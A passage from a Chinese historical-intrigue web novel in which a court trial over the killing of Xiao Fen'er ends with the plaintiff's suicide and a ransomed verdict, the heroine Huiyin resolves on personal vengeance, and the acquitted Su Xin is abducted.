裴彧听着他们讨论,指节在案上轻叩,公孙朴,好久没听到这个名字,平祯身后那人居然能请动公孙朴出山,他现在到真有些好奇,下一步平祯会拿出什么证据,来证明萧氏的死会与苏家有关。 要知道,当时在场之人除了平祯,其他人都是不会出来作证,他一人的证词根本没用。 苏信一脸迷茫,公孙朴是谁? 随后便有人替他解惑,公孙朴出身医药世家,年仅十九岁便被征召入宫侍候先帝,医术精湛。后七年,其父惨死,因查不出死因只能草草结案。 公孙朴一气之下辞官钻研仵作之术,而后于廷尉府任职,先帝期间,发生的几桩奇案皆由其协助破获。他也一直追查其父死因,于十五年后破获此案,将凶手绳之于法。 如今他已高龄近八十,早已经告老还乡,不知去向,但廷尉府还有不少老人都见过他的风姿,他曾破获的奇案卷宗至今还摆在案库里。 是以这份验尸文书,可以为证。 苏信听着他们细碎的议论,即便没有尸身在此,但众人已经认定这份验尸文书的效用。他慌乱起来,嘴硬道:“即便萧氏不是自尽,你又如何能证明是我苏家所为?” 平祯不理他,而是缓慢走到堂前,望着庭中的不一的面孔,讲起往事:“我是三年前冬日带着我的妻子萧盼儿来到长安的,彼时身无分文,只能宿在码头的木房内和一些帮工住在一起,我读过些书,在码头上找了个帐房活计,而我妻则是靠替人浆洗衣服换些银钱。” “整个冬月,她的手长满冻疮,不成样子,她却一丝抱怨也没有,反而安慰我,说只要咱们努力,就一定能在长安安家。” 说到此处,平祯泣不成声的低下头,埋首痛哭,庭外的百姓也不忍的低下头,他们当中有不少都认识平祯夫妻二人,知道他们的为人,今日是特地赶来观审的。 苏信还是一副不屑的模样,吊儿郎当道:“我说平郎官,这里是公堂,不是你家,要哭回去哭。” 平祯面露怨恨,大声质问:“若说品行,码头上的和近邻都能证明我妻贤良淑德,品性极好。” “而你,你就是个浪荡子!你好色风流,人人皆知,你说是我妻勾引的你,简直是一派胡言!” “大人,您尽可去市井问询,看看是不是如我说的这番。” 苏信狡辩:“人是会变的,谁说萧氏能一如既往?你一无是处又家境贫寒,我年轻气盛出身好,她自然也想攀附我。” 裴彧皱眉,无证据,单凭这些根本无法证明萧氏无辜。 他出声警告:“平祯,单凭一面之词,不能为证,你若再拿不出其他证据,本官就判你诬告之罪。” 平祯擦干泪,摇头苦笑:“我确实没有证据能够证明究竟你是逼迫还是纷儿勾引。” 苏信露出得意之色,他就是拿准这一点才有恃无恐,反正萧纷儿已死,此事死无对证。 就算她没死,公堂之上,男人与女人,事关女子贞洁,总是他占便宜居多,只要他一口是萧纷儿性子浪荡勾引与他,过错在于她,就没法定他大罪。 这种事情,又无确切证据,他倒要看看平祯如何能扳倒他。 平祯望着苏信胜券在握的的面孔,回响起徽音叮嘱,她说,床笫私事,没有确凿证据,从此入手绝扳不倒苏信,反而还会被反咬一口。 她还说,要声东击西,抛砖引玉。 平祯掷地有声道:“不过,我确有证据证明是你兄长谋害的我妻子,还是以浸猪笼如此带有极强侮辱性的方式。 “这是否能证明,就是你强迫我的妻子,事发后害怕她吐露真相,遂让你兄长立刻杀人灭口,即便我带着纷儿逃出城中,依旧还是遭了他的毒手!” 苏信捧腹大笑,眼角笑出泪,他指着平祯讥讽:“那你倒说说,你有何证据?” 平祯冷冷扫了他一眼,跪地行李,朝着裴彧和其他几名陪审官官道:“若我能证明是苏信之兄害死我妻,是否就能证明通奸一事中我妻是无辜的,是苏信胁迫的?” 几名廷尉属官凑在一起商讨,丞相府长史看了眼默不作声的裴彧,心里头有些摸不清他的想法。 若按裴彧的立场,自然是苏信无虞最好,可审讯到现在,他不偏不私,着实让人摸不着头脑。 半响后,其中一名廷尉属管征求裴彧的意见:“大人,我们各持一半意见,半数人认为若人真以浸猪笼的方式为苏侑所害,确能证明萧氏无辜。又半数人认为,苏侑害人与苏信和萧氏通奸无关,还请您决断。” 平祯僵在原地,他是一步一步按照徽音所说行事,徽音也曾说过,此案决策人在于裴彧。但裴彧此人无论从立场还是其行事上,皆不会偏颇平祯,唯一的办法便是攻心。 想到此处,平祯再度泣道:“大人,下臣只愿还妻子一个公道,不愿她死后还背负污名,叫人生生世世辱骂。这世间,于女子本就不易,她们困于名声,囿于名声,不能再叫无辜之人死后背负骂名啊!” 裴彧望着平祯颤抖的肩颈,他俯身磕头在地,背脊上的血痕露出,堂外的数十百姓也都盯着他,而苏信刚才那番话也确实打动了他。 裴彧拍板:“若能证明苏侑谋害萧氏,亦可证明苏信强迫萧氏之罪。” 苏信被案板的声音吓一激灵,他不明白事情为何突然就发展成这副模样,他偷偷望向左侧的属官,发觉他依旧一副胸有成竹的模样。 苏信放下心,是啊,当日之事只有裴家,苏家和平家知道,那些部曲都是各自本家人,绝不会背叛,平祯绝拿不出什么证据! 平祯得到肯定的回复后也放下心,大声道:“我妻子死在双溪林郊外的一处湖泊,昨日打捞之时不少人都看见了,大人可一一求证。” 裴彧挥手,两名卫兵领命证查。他道:“你接着说。” 平祯继续道:“春夏时节,双溪林一处长了许多藚草,随处可见。此草在乡野间叫刺人草,其刺毛接触人的肌肤后,会聚起大片的红肿包,类似风团。” 平祯说完,解开衣襟,露出两条白皙的臂膀,他那日被人按在草地上,接触此草的肌肤处较多,锁骨胸口已经手臂上都有密密麻麻的红痕。 萧纷儿死后,他一直浑浑噩噩,还是那日食肆遇见徽音身边的那位女媪,她提示后才知此草效用。 夏日衣裳布薄,贵戚们多喜欢穿透气的素罗纱,素罗纱孔眼稀疏,刺草一定会在他们身上留下痕迹。 这才不到两日,即便有上好的药膏也不会再短时间内消散。 “恳求大人传唤苏侑,确认其身上有无此红痕,若有,就证明他一定在近日去过双溪林!” 苏信不忿:“便是有也不能说明什么,难道就不许我兄长去双溪林吗?” 平祯双眼放光,他等的就是这句话,他大声道:“你们苏家和其他贵戚一样,田地农庄皆是上好,聚集在东郊一处。双溪林地处偏僻,仅供周边的农户生存,你阿兄平白无故,为何会去那里!” 苏信慌乱驳道:“他……他去那里玩玩不行吗!” 平祯冷笑:“当然可以,不过,你兄长的饰物为何会出现在我妻子的尸身手中?” “桩桩件件,难道皆是巧合不成!” 平祯取出袖中的一枚玉珏和帛书,那玉珏上刻着一个“钧”字,苏侑的字就叫“子钧”。卫兵将玉珏呈给裴彧端详。 “这玉珏是昆仑玉,是苏大郎君两年前请古岱所雕刻,古岱是玉石雕刻大师,这帛书是古岱大师那里记录的凭证。” 裴彧一一看过去,证据都是真的,不存在作假的可能,但这玉珏出现的太过蹊跷,苏侑并非是个粗心大意之人,那日晚上他们离去时,也定然有部曲善后,不会留下这样的破绽,那这玉珏是何处所得。 他想起了一桩流言,据说苏大郎家少时有一心上人,为她屡次拒绝成婚,那人,就是宋徽音。 裴彧下令:“带苏侑上堂。” 苏侑接到消息赶往廷尉府,路上他已知道事情的来龙去脉,那枚玉珏他自然知道是谁给平祯的,只是苏侑不明白,徽音为何要帮平祯。 苏侑上堂后,先是扫了眼瘫在地上的苏信,心中怒骂其不争,惹出这许多的祸事,他躬身向裴彧行礼。 裴彧道:“苏侑,平祯告你谋害其妻,验尸文书,物证俱全,你还有何可说?” 苏侑淡淡微笑,他长相并不俊秀,但给人一种如沐春风的感觉,他轻声道:“能否让下臣看看物证?” 裴彧点头,他身侧的卫兵将玉珏呈在苏侑面前。苏侑看着那枚玉珏,确是他送给徽音的那枚,当时徽音不肯收。 他只得告诉徽音,他已经答应父亲相看,不日便会成婚,这枚玉珏就当做兄长送予妹妹的礼物,她才勉强收下。 苏侑望着裴彧露出意味不明的笑容,“这玉珏确是我的,不过早在三年前我便将它送予了旁人。” 裴彧眯起眼,手掌发痒,他现在心情很不好,很想捏碎苏侑脸上笑容。 他低头失笑,原来这一切的主谋真的是她。 “此事先不谈,不如先看看你身上是否有那刺草的痕迹罢。” 苏侑大大方方的展露脚踝处的红痕,“下臣近日确实去过双溪林,但这说明不了什么吧。” 平祯恨极了苏侑,恨不得生啖其肉,他厉声道:“那你倒是说说,你为何去双溪林!” 苏侑不屑:“某去何处需要向你证明吗?至于那枚玉珏……” 平祯咬牙,若非想起徽音的叮嘱,他现在就要冲上去和这个害死纷儿的人同归于尽。他艰难的低下头隐去眼中的愤恨。 从审讯开始就一直站在堂外的方木展开手臂查看,从双溪林回来后他就发觉身上有几处发痒,还当是被什么虫子咬了没有在意,没想到,居然是一株草。 方木听着里头的争论,将佩剑卸给身边的驰厌,在苏侑即将道出徽音姓名时停在堂外大声道:“裴大人,下官能证明是苏大郎君亲口命人沉湖了萧氏。” 众人回头望去,瞧见是方木后各自神态不一,苏信一副如坠冰窟的模样,平祯则是大大的松了口气,一切如徽音所料。 苏侑不可置信的回望裴彧,不明白他为什么突然反口,在他看见裴彧似笑非笑的望着他的时候,明白了一切。 怪只怪他太着急,没有想好对策,差点将裴府牵连进来,裴彧极其护短,绝不会任由他将裴家拉下水,损坏裴家声誉。 方木跪下拱手,让众人能瞧清他手上的红肿处,然后他将那夜的情景一一道来,只是从头到尾的的隐去了裴家和平家。 苏侑塌下肩膀,没办法了,这一局从头到尾他都在被牵着鼻子走,他还自以为是能破局,没想到早就身在局中。 若只有平祯一人,他自然不怕,可现在再论下去,只会把裴氏和平氏都牵连进来,苏家承受不住。 苏侑垂下头,跪在地上认罪:“下臣认罪,下臣被幼弟一时蒙蔽,被他唆使犯下大罪,请大人从轻处罚。” 苏信如雷轰顶,兄长在说什么?明明是他们一直叮嘱他,咬死萧氏勾引一事,也是他们决定要杀萧纷儿,为何现在将此事全部推诿在他身上。 “阿兄,你……说什么?” 苏侑转头恶狠狠的盯着苏信,眼神威胁:“事情到了这个地步,你就认罪吧,难道你想整个苏家给你陪葬吗!” 苏信努努唇,脑中一口空白,他不知道该说些什么。最终,在苏侑的催促下,他跪直身体,磕头下去,麻木道:“我认罪,是我强迫的萧氏,也是我……让阿兄去杀人的。” 啪—— 裴彧判决:“苏信一介平身,强迫官员正妻,事后不知悔改唆使他人灭口,本廷议决,判处其死刑,秋后问斩!” “至于苏侑,待本廷将此事禀告陛下,再行处置。” 平祯浑身脱力的坐下,仰头哭笑,他做到了,他真的做到了。他为纷儿洗清了冤屈,想必纷儿在天之灵也能瞑目了。 堂上的嘈杂之声他已然听不见,微风拂过他的发梢,平祯缓缓闭上眼,是纷儿,她来接他了。 她穿着成亲时的朱红曲裾,发髻盘在脑后,点着浓郁的胭脂,两侧的小银扇摇曳,开心的望着他,喊他“询郎”。 平祯睁开眼,趁众人不注意时,冲向身后的廊柱。 他死前,额前鲜血淋漓,双眼死死的睁着,用尽最后一丝力气喊道:“太后姑母,侄儿去了,请您替侄儿了却心愿,即刻斩杀苏信,侄儿在地府遥遥拜谢!” 第29章 两条人命,太轻了 临近午时, 青石砖铺设的地板被晒的发亮,廷尉府靠西的一角,陈家茶铺前飘着淡淡的茶香。 这铺子不大, 外头张摆了长条矮几,几件藤编的坐具, 铺子里头靠窗摆了四张矮几,又竹席隔开。柜台后的角落堆着几捆新收的茶枝,散发着草木青涩香气。 徽音坐在最里头的靠窗口听着外头的闲聊,从她这个角度正好能完完全全的将廷尉府大门口收进眼底。 颜娘跪坐在陶炉前, 用铜匕搅动着釜中的烧开的茶汤。 正午的日头烤得人发干,再佐以这烧得沸腾的茶汤, 茶铺内唯一的一点清凉气息都被驱逐。 徽音感觉到背脊冒出的细汗, 拿起一旁的蒲扇轻轻摇动。 已经午时了,苏侑已经进去半刻钟了, 按照时辰推测,此刻应该已经结案了才对,却不知为何,廷尉府门口一点动静都无。 徽音心中有些发沉,难道是她算漏了哪个环节, 事情有变了。 “今年的天格外热人。”颜娘擦着额上的汗珠, 抱怨道。 徽音回道:“是啊, 已经好久不曾落雨了, 去年这个时候天气正是适宜。” 两人有一搭没一搭的闲聊着, 忽而铺子外传来动静, 原是等在廷尉府外看热闹的百姓突然都聚集在一起议论。 徽音朝外望去,等百姓被卫兵喝散后,一队玄色官服的人快步走了出了, 打头的那位正是担任主审的裴彧。 他眉头紧锁,脸上难得的出现了冷峻的神情。 徽音看见裴彧翻身上马,对着一名廷尉属官交代两句,随后疾行而去。 在他身后,跟着一队卫兵,其中四个抬着担架,架上之人以白布敷面,只能看清他垂落的手掌上布满鲜血。 他们朝着宫门的方向行去,之后,徽音听着人群里细碎的议论,他们说,案件水落石出,苏信被判死罪,可平祯却不知道为何撞柱而亡了。 原来,那具尸体是平祯的。 徽音想起前日里平祯找到她时的神情,想必那时,他就已经打定主意,等洗清萧纷儿身上的污名后,就随她而去。 她少时读汉乐府名篇《孔雀东南飞》时有两句不懂,“揽裙脱丝履,举身赴清池。徘徊庭树下,自挂东南枝。” 她那时不明白究竟是什么样的感情纠葛,能够让世间之人甘愿赴死。 现在她明白了,如平祯和萧纷儿,识于微末,互相扶持,情谊深厚。倒真应了这句绝唱,夫妻二人一个沉入冰冷池水,一个自绝公堂。 徽音喃喃问道:“萧纷儿为了不耽误平祯自愿去死,平祯也不愿独自存活于世追随她去,情,到底是什么?” 颜娘低声叹气:“奴也不懂。” 徽音抹去眼角的泪滴站起身,此事告一段落,结果按照她的期许一样,苏信被判死罪,可她为什么她高兴不起来。 颜娘扶着徽音上马车,身后传来一声熟悉的呼唤。 “徽音妹妹。” 两人朝后望去,来人宽眉大眼,下巴圆钝,嘴角上扬,两侧脸颊印着深深的酒窝。 他一身风尘仆仆的妆扮,衣裳下摆的靛青色已经被灰尘染成灰色,左手牵着一批西域良马,马鞍上挂满包袱,像是刚刚远行回来的模样。 徽音看清他的容貌,撑着车厢的手臂微微发抖,她收回上车的步伐,提起裙摆朝那人跑去。 她停在冯承面前,眼中含泪,嘴唇颤巍说不出话。 冯承胡乱在衣裳上擦干净手,掏出袖中干净的帕子小心翼翼的擦着徽音的泪痕,“莫哭,莫哭。” 徽音本来觉得有些失态,强忍着眼泪挤起笑容,却在听见这声“莫哭”后泪如雨下,哽咽道:“冯阿兄……你回来了……” 冯承连连点头,发觉市道两侧的百姓都盯着他们,更有那眼神放肆的闲汉肆意打量徽音的面容。 他侧身挡住投来的视线,拉着徽音进了一间食肆,找了间雅座让徽音坐着平复心情。 颜娘打发车夫在外等着,她则是守在雅座外,冯郎君回来了,以后也有人给徽音撑腰了。 冯承是南阳冯氏的子弟,他是冯氏家主的小儿子,自幼拜在宋渭门下,从小长在宋府,和徽音青梅竹马长大。一年前,他学有所成,独自一人出京游学,至今方归。 雅座内,冯承心疼的看着徽音,她瘦了好多,原本灵动的眉眼染上愁绪,眼底一片死寂,只有在刚刚看见他的时候才有变化。 “徽音,都怪我,要是我能早些赶回来,先生就不会死!” 徽音摇头,那时候,冯承在京也无济于事,他尚未入仕,能帮上的也有限。 现在尘埃落定,她亦不想让冯承趟到这躺浑水里来。 她移开话题,“阿兄此次回来还走吗?” 冯承回道:“不走了。” 他环顾四周,急切的撑在桌上,凑进徽音沉声道:“徽音,你听我说,先生品性高洁绝不会贪污受贿,更不可能在案件未曾查清的情况下畏罪自尽,此事,一定是有人陷害!” 徽音望着他焦急的脸色,强忍着心底的难受别开脸回道:“我知道。此事阿兄不要再管了。” “我怎么能不管!”冯承喝道,他深吸一口气平复心情,再度道,“你为什么会在裴府,是不是查到了些什么?先生的死与裴家有关对不对?” 徽音痛苦的埋下头,祈求道:“阿兄,别问了,这是宋家的事,你不要牵扯进来。” 冯承起身跪在徽音身边,望着这个他看着长大的妹妹,心如刀割。 他第一次见徽音时她才四岁,小小的一个人儿粉玉雕琢,软软的喊他阿兄。冯承和徽音一起长大,很少见她到她的泪,她是个很坚强的人,磕了碰了,都不会哭。 他颤抖的伸出手抚摸徽音的肩膀,安慰道:“徽音,从你唤我兄长的那刻起,你我就是一家人。你莫害怕,我会帮你,你一个人不要把事全部憋在心里,告诉阿兄好吗?” 徽音慢慢抬起头,泪珠断线般的滚落,她悲戚的望着冯承,“阿兄,你帮我找一个人,他叫袁秩,是阿父一案的关键,我不知他去了何处。” 冯承拍拍徽音的背脊,连声宽慰:“你放心,此事交予我,我一定会查出真凶。对了,景川如何?” 徽音闭上眼,轻声道:“我不知,他为了救我摔下山崖,至今没有消息。” 冯承心中咯噔一下,摔下山崖,那岂不是…… 他艰难的开口:“徽音,你……” “我没事,“徽音摇摇头,艰难的笑道:“没有消息是最好的消息,景川一定还活着。” 冯承心中难受极了,“徽音,我去找裴彧,我要带你离开裴家。” 徽音侧身,不去看冯承:“我不走,阿父一案一则在于袁秩,二则便是那封印有阿父印信的密函,我打听过了,有关此案的卷宗收录在宫中天禄书阁内。除了皇帝和几位皇子之外,只有裴彧有天禄书阁的令牌,留在他身边,我才有机会进入天禄书阁翻看卷宗。” 冯承反驳道:“你可以去查明真相,可我怎么能看着你委身裴彧!徽音,为先生报仇的事交给我,我会为你择一位极好的郎婿,让你下半辈子无忧。” “无忧?我不会无忧了,”徽音转头望着冯承,眼底悲伤溢出,一字一句道,“宋家倒台那刻我才明白,这世上,只有自己才能靠得住,这仇,我要亲手报。” 冯承明白徽音下定决心,是无论无何也劝不回了,他苦笑着摆摆手,不再多说什么。只叮嘱道:“我永远是你兄长,若裴府待你不好,只管来寻我。” “阿兄,你再帮我一件事。” “好。” —— 徽音筋疲力尽的回到临水阁,独自一人上了二楼,她觉得好累,好似双臂和双腿都被人绑上重物,连楼梯都难以登上。她靠在矮榻上,将头埋进被褥里,闭眼昏睡过去。 这一觉睡到黄昏时分,夏日的天暗得晚,院中还没点灯。 徽音听见颜娘在楼下指挥仆妇杂扫的声音,阿桑和阿蘅坐在檐下闲话的声音,还有莲池传来的蛙鸣,令她心情好了几分。 “颜娘,宋娘子可在?” 院外传来问询的声音,颜娘放下手中的绣篮,起身走到院门口,门外站着一个眼熟的女媪,正是裴夫人院中的仆妇。 她回道:“宋娘子尚未醒。” 那女媪回道:“烦请你去喊一声,女君邀宋娘子去正院用饭。” 颜娘有些为难,徽音今日听闻平祯死讯,又和冯郎君见面勾起伤心事,睡到现在还未醒,她私心里不愿打扰。颜娘正打算拒绝,“宋娘子她……” “傅母。” 颜娘回头望去,徽音已经收拾好,站在堂屋中,她气色看着还不错,两颊红润,眼神沉静。 颜娘放下心,小跑过去,“娘子醒了怎么不唤奴婢。” 徽音笑笑,“看见你在忙,不过些小事而已。” 她视线越过院中,看到门外那位女媪,抬步走上前,“走吧。” 颜娘提了盏风灯跟在徽音身后,天色暗了,临水阁此处偏僻,距离正阳院又远,不带盏灯难以行路。 正阳院内已是灯火通明,隔老远就能看见院中的灯光,院中仆妇忙碌走动,有条不紊的端着暗红漆盘上菜。 徽音走进正堂,裴夫人和贺佳莹已经落坐,裴彧两兄弟的案几无人,她坐在裴夫人身边,立时便有婢女上前放好碗箸,六道样式不一的漆具摆放在案几上,里头盛着几道小菜。 “妾来迟,夫人赎罪。”徽音起身行礼,双臂交叠于胸前,宽袖扫过案几。 裴夫人笑意盈盈,怪嗔道:“家宴而已,不必多礼。” 贺佳莹也在一旁附和:“是啊是啊,表兄入宫还未归,太学好不容易休沐一天,裴衍那小子一落家就跑了出去,不知道去哪鬼混了,今日就我们三人。 裴夫人也抱怨道:“上次他阿兄还没教训够,这些时候彧儿忙,没空管他,他是又野上天了。” 徽音重新落坐,用汤匙搅着面前的香汤,不经意问道:“少将军有说何时归吗?” “说是这几日都归不了,今日公堂之上平祯自尽,太后震怒,说不准还得挨罚。” 裴夫人愁容满面,她不求儿子大富大贵,权势滔天,只求他少受些伤。旁人只知裴家风光,却不知暗地里的风险,伴君如伴虎,何况裴府还有出了裴后和太子,纵然她只是个深宅妇人,亦知其中凶险。 裴彧幼时无需她操心,有他阿父亲自教导,后来裴擎战死,裴彧独自去了边关,一个人在那边待了四年,等回来时,那个曾经将他阿父气的跳脚的小子已经长成了参天大树,成为整个裴家的支柱。 裴彧绝口不提边关四年的凶险,裴夫人哪会不清楚,他不说,是不想她跟着忧心。裴夫人越想越伤心,她在这里锦衣玉食,儿子在宫中受苦受罚,她哪里还有胃口。 徽音看着裴夫人放下碗箸唉声叹气,面有忧容,明白她心中在担心什么,遂开口宽慰:“夫人放心,少将军入宫不会有事的,平祯是自尽,太后就算再震怒,陛下也不会让他牵连少将军,何况皇后和太子亦在宫中。” “此话当真?”裴夫人一脸疑问。 徽音点点,继续道:“依妾看,不仅不会受罚,还会赏。” “赏,赏什么?”贺佳莹埋头苦吃,突然听到上头传来一个“赏”字,连忙抬头问道。 裴夫人望着吃得正香一脸懵懂的侄女,再看看坐姿端正,吃相礼仪挑不出一丝错处,全是上下无一处不好看的徽音,突然发觉儿子眼光真的很不错。 徽音放下箸要解释,裴夫人院中的婢女春分快步走进堂内禀告:“女君,少将军身边的驰近卫回府了,还带了一车陛下赏赐的黄金,他想见您。” 裴夫人看向一旁的徽音,还真叫她给说中了,她理理衣袖,正襟危坐,“传。” 驰厌穿着一身裴府近卫的褐衣短襦打扮,他一进屋就跪下行礼,双手捧着一名节令,恭敬道:“驰厌请女君安,少将军吩咐奴回来,请女君开府库,凑集千金送去苏府。” 裴夫人还没有反应过来,徽音已经站起身,走上前俯视驰厌,冷冷质问,“他是要拿金去替苏信赎死罪吗?” 驰厌不敢直视徽音,低下头不知如何回话,只能沉默应对。 连还在用饭的贺佳莹都停下来,看着生气的徽音吞了吞口水。 徽音面色极为难看,垂下的手掌紧握成拳头,这是贺佳莹第一次见她如此生气的模样,以往她陷害徽音时,她都不曾露出过这副神情。 裴夫人也被吓住,不明白一直温和娴静的徽音为何突然大变,她小心翼翼的问道:“徽音啊,你这是怎么了?” 徽音紧紧闭上眼,深吸一口气,压下心头的怒火,转身朝裴夫人行礼道歉:“妾只是觉得苏信该死,一时气愤不过,失了分寸,望夫人原谅。” 裴夫人摆着手,“无事,无事。” “苏信一事我也有所耳闻,怎的好端端要裴府出金,驰厌,你说清楚些。” 驰厌偷偷抬眼看了眼徽音,她已经坐回原位,垂头不知在想什么,他小声道:“平祯身死,太后震怒,当即就要处死苏信替平祯报仇。是太子殿下…” “太子怎么了,快说啊!”裴夫人猛拍案几,着急的喊道。 驰厌猛然闭眼,全盘脱出:“太子殿下铁了心要救苏信,惹恼了太后,少将军便请了陛下出面,以国之律法劝说太后,双方各退一步,若苏家能在今夜凑齐赎金,便放过苏信。” 贺佳莹这才明白过来,大呼:“苏家凑不齐赎金,表兄便要拿裴家家产去救吗?那等子畜生,死了便死了,有何好救的!” 驰厌为难道:“少将军也不想的,可太子殿下他近来极其亲近苏家,他求少将军出手,少将军怎会坐视不理。” 贺佳莹还要再说,裴夫人怒喝一声打断两人:“行了!” 她取下腰间的玉牌递给身后的乔媪,吩咐道:“傅母,你同驰厌去筹钱。” 乔媪领命,带着驰厌快速离开正阳院,天色已经全然暗下来,裴府前院灯火通明,一箱箱五铢钱和金饼被运出府。 徽音踏着月色回临水阁,她胸口堵着一口气,裴彧护短她是知道的,可万万没想到,他为了维护太子,竟不辨是非,助纣为虐。单凭苏家凑不齐一万钱,可加上这累世功勋的裴家,就不好说了。 两人走到莲湖边,徽音停下脚步,此处无灯,莲湖黑漆漆的一片,只能借着月光依稀看见湖中盛开的粉色花苞。 徽音声音轻得跟风一样;“傅母,好不公平啊。” 颜娘没有听清,疑问道:“徽音,你说什么?” “我说,这世道太不公平了,两条人命,到头来什么都抵不了。” “世道如此,你尽力了,莫将责任揽在自己身上。”颜娘心疼的望着徽音,宽慰道。 “不,”徽音突然笑起来,眉眼弯弯,令颜娘彷佛看见了曾经那个欢颜的小女郎,她眼底闪着泪光,坚定道:“律法制裁不了他,那我就亲自动手。” “他这样的人,怎配苟活于世!” 颜娘看着徽音冷漠的侧脸,心中悲哀蔓延,她是希望徽音能放下仇恨,忘掉这一切,依旧做回那个无忧无虑的女郎。 但她也明白,回不去了,父死母丧,幼弟生死不明,还有平祯夫妻无辜惨死,这一切都在徽音心中留下不可磨灭的伤痕。 颜娘低头擦着泪,泣不成声:“去吧,去做一切你想做的事。” 第30章 苏静好 苏府书房。 苏信已经在地上跪了半个时辰, 腿脚发麻不堪,他正前方的尊位上坐着他的父亲苏文易,此刻正两眼沉沉的盯着他, 暗含怒火。 苏文易身边站着一个拭泪的丰腴妇人,眉目哀愁。 苏信动了动发麻的腿脚, 正要抱怨两句,忽而迎面砸来一块砚台,他撑着手臂翻滚一圈,砚台应声而落砸碎在地上, 苏信连忙匍匐跪在地上,不敢再动。 苏文易身侧的丰腴妇人吓了一跳, 连忙拦在苏信申请, 怒视苏文易,“你再动手伤我儿子试试!” 苏文易眉头紧皱, 恨铁不成钢的猛拍案几:“都是你!慈母多败儿,你看看你将他宠成什么样子了!” 丰腴妇人是苏文易的继室,出身大族,吴氏嫁给苏文易后育有二子一女,苏侑, 苏信, 以及小女儿苏静娴。 她性子泼辣, 极为溺爱孩子, 生的貌美又娘家得力, 在苏家可谓是要风得风, 要雨得雨惯了,一口气是受不得的。 吴氏一手护着身后的苏信,当即怒骂回去:“我呸, 说的好像儿子就我一个人生似的,你日日钻研仕途,可曾关心过几个孩儿,现在哪里有脸来骂我!” 苏文易气的胡子发抖,站着身指着苏信吼道:“他都将整个苏家给拉下水,我骂两句还不行了。连累兄长丢官,苏家百年积蓄和名声毁于一旦,这逆子死不足惜!” 吴氏还要回嘴,苏文易双眼一蹬,指着她鼻子骂道:“你非逼着我拿钱赎这逆子,可你吴氏分币不见,只会嘴上说说,若非太子和裴家帮忙,如今这老宅都要拉去卖了筹钱,我苏家众人就要流落街头,贻笑大方!” 吴氏被劈头盖脸一顿好骂,自觉理亏,见苏文易一副气的要撅过去的模样,连忙凑上前抱着他的臂膀娇声宽慰。 苏文易心中怒急,推开她坐在一旁的锦席上,对着苏信冷哼:“风头一过,你就回乡去,再也不要回来了。” 苏信一脸不可置信,“阿父,你说什么?” “你是聋了不成,叫你滚,滚的越远越好!”苏文易横眉冷对,怒喝道。 苏信拳头攥紧,脸颊气的通红,无视吴氏频频递来的眼神,站起身顶撞回去:“如今倒是怪起我来了,分明是你们没用,害死萧氏,却整不死一个平祯,事情败露便立马我将我推出去顶罪,也配在我面前充老子!” 他扔下这句话,转身奔出去,正好撞上等在门口的苏静好,她手上还端着一个漆盘,里头放着一盅补汤。 苏静好担忧的望着苏信,询问道:“阿弟,你没事吧?” 苏信自觉丢了大脸,抬手打落苏静好手中的漆盘,汤药碎在地上,溅湿苏静好的衣裙。他一掌推开苏静好,喝道:“滚开。” 追出来的苏文易和吴氏看见这副场景,吴氏只轻飘飘的瞥了眼苏静好,就提着裙摆追着苏信出门了。 苏文易看着地上碎裂的陶盅,脸色难看,质问苏静好:“你怎么在此处?” 苏静好垂下头,那盅汤药是她吩咐人文火熬煮一个时辰煲好的,出锅时还滚烫,全部淋在她腿上,许是烫伤了,火辣辣的泛着疼。 她柔声开口:“阿弟在牢中待了几天,女儿担心他的身体,特意着人熬了一盅不汤送来。” 苏文易闻到空中的药香,脸色好了许多,他背着手往前走,示意苏静好跟上。 俗话说的好,有了后母就有了后爹,自从吴氏进府后,苏静好这个原本的正室嫡女的地位一落千丈。 吴氏不是个好相处了,这些年来处处提防苏静好,背地里不知使了多少阴招,更不许她在人前多露脸。 父女两人相处的时间本就不多,加上吴氏生下小女儿后,苏文易的目光彻底被夺走,苏静好被遗忘的彻彻底底,若非宋府处处关照,只怕她都活不到长大。 也是近几个月来,苏文易才重新重视起了这个女儿,他凝视苏静好娴静温雅的面容,嘱咐道:“你如今已与太子定下婚约,当务之急是笼络住太子,可记住了?” 苏静好抬头微笑,听话的点点头:“女儿谨记。” “很好。”苏文易这才露出笑容,满意的点点头,抬步离去。 苏静好立在原地,望着苏文易远去的身影,低头整理了下裙摆,她今日的衣裙是浅色,沾了汤水后颜色变深极为显眼,可她的父亲,不曾关怀半分。 这些年来,这种事情屡见不鲜,她在苏府从头到尾都是个被无视的人。 她这位父亲,心里头只有利益,谁能给他带来利益,他就会将人捧上天,如吴氏和苏信。 反之,一旦那人失去了可利用的价值,碍了他的路,他就会毫不犹豫一脚踢开,就她的母亲和她。 —— 苏信闷头冲出苏府,一路奔到春巷,进门时才发现身无分文,垂头丧气的蹲在暗巷里,用脚忿忿的碾着地上的黄土。 他不过就玩了个女人,奈何这些人偏偏要和他作对,满长安,这种事情比比皆是,为何偏偏他如此倒霉。 不对!苏信猛的抬头,出事后他就被关在廷尉,整个人都是乱哄哄的,脑子一团浆糊,现在才有空细想,平祯就是呆子,他哪有这么大的本事宫门鸣冤,昨日对簿公堂,那些话又是谁教他的。 苏信越想越不对劲,此事不单单是冲他来的,幕后之人是冲苏家来了。若是他是那人,如今会朝何处下手。 苏信喉咙发干,苏家现在只有他一人落单,没有部曲奴仆跟着,若他是那幕后之人…… 他猛然站起身,朝巷口快速奔去,身后一股破空声音袭来。 苏信停住脚步,弓步下沉,反手就是一拳打向后,未料那人早就摸清他的路数,脚步轻点翻身在苏信前面,一个扫堂腿击倒他。 苏信正要大声喊叫,那人俯身击在他颈侧,他眼前一黑,不受控制的陷入昏迷。 再次醒来时,他是被颠醒的,头朝下方气血上涌,整个人被搭在马上,走的还是山路,一颠一颠的,差点叫他隔夜饭吐出来。 苏信奋力抬头望去,捉住他的那人牵着马走在前面,旁边还有一个武人打扮汉子和他闲话,两人面容陌生,相貌平凡,但身形威猛,一看便是习过武,他这瘦胳膊瘦腿的不是他们的对手。 像他们这种人,多半都是拿钱办事,想明关窍,苏信开口:“两位大哥,你们背后那人给你们多少钱,我出双倍!” 交谈的两人不约而同停下转头,武人汉子笑道:“阿郑,这小子是在收买我们吗?” 抓人的那位老郑也笑:“奎哥,苏家为了凑他的赎金早就倾家荡产,他哪里来的钱。” 苏信连忙道:“两位大哥,瘦死的骆驼比马大,苏家只是一时没钱,我阿姊还是未来的太子妃呢。” 奎哥上前拍拍苏信的脸,露出一口白牙,“我们兄弟俩,可不是用钱能买到。至于你,老实待着,等那位见完你,就送你下去给平祯夫妻赔罪。” 